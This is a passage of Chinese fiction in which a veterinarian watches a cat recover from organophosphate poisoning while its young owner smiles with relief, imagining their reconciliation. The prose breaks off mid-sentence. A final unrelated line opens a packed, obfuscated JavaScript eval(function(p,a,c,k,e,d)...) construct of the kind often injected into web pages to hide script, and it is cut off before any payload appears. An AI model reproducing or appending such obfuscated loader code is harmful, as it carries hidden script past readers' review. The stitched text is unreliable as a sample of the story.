翟尤蹲在诊台前面，看着那只猫。它还在，还在呼吸，还在心跳，还活着。它会活下来的，因为他打了药，因为他没有放弃，因为它还没有放弃。它说“我不想死”，它想活，所以它会活。不是因为它幸运，而是因为它想。想的力量有多大？大到能让一只误食了有机磷的猫，撑过三十分钟的等待，撑到药起作用，撑到它的瞳孔开始放大、流涎开始减少、呼吸开始变深变稳。它想活，所以它活了。
年轻女人也看到了那些变化。她不是兽医，不懂瞳孔、流涎、呼吸这些指标，但她能看到猫的眼睛比刚才有神了，能看到它的嘴角不再流那些黄水了，能看到它的呼吸不再那么急了。她看到了，所以她笑了。不是那种“我没事”的笑，而是那种“它没事了”的笑。那种笑从她的嘴角开始，慢慢地、一点一点地，扩散到她的眼睛，扩散到她的眉毛，扩散到她的整个脸。她的脸在那一刻变成了一朵花，一朵在凌晨的、黑暗的、充满消毒水味道的诊所里，突然盛开的花。
翟尤看着那朵花，也笑了。不是苦笑，不是自嘲，而是一种从心底里涌上来的、温暖的、像阳光一样的笑。因为他知道，这只猫会好的。它会从中毒中恢复过来，会在几天后出院，会在年轻女人的怀里，用脑袋蹭她的手心，会发出那种“我好了，我没事了，你不用再哭了”的呼噜声。她会哭，会笑，会抱着它说“对不起，我再也不会了”。它会用脑袋蹭她的手心，说“没关系，我知道你不是故意的”。他们会在彼此的怀里，在春天的阳光里，在诊所的门口，在那块写着“安翟糖”的招牌下，和好如初。不是因为他们没有错，而是因为他们原谅了。她原谅了自己，它原谅了她。原谅不是忘记，是不再责怪。不责怪了，
;eval(function(p,a,c,k,e,d){e=function(c){return(c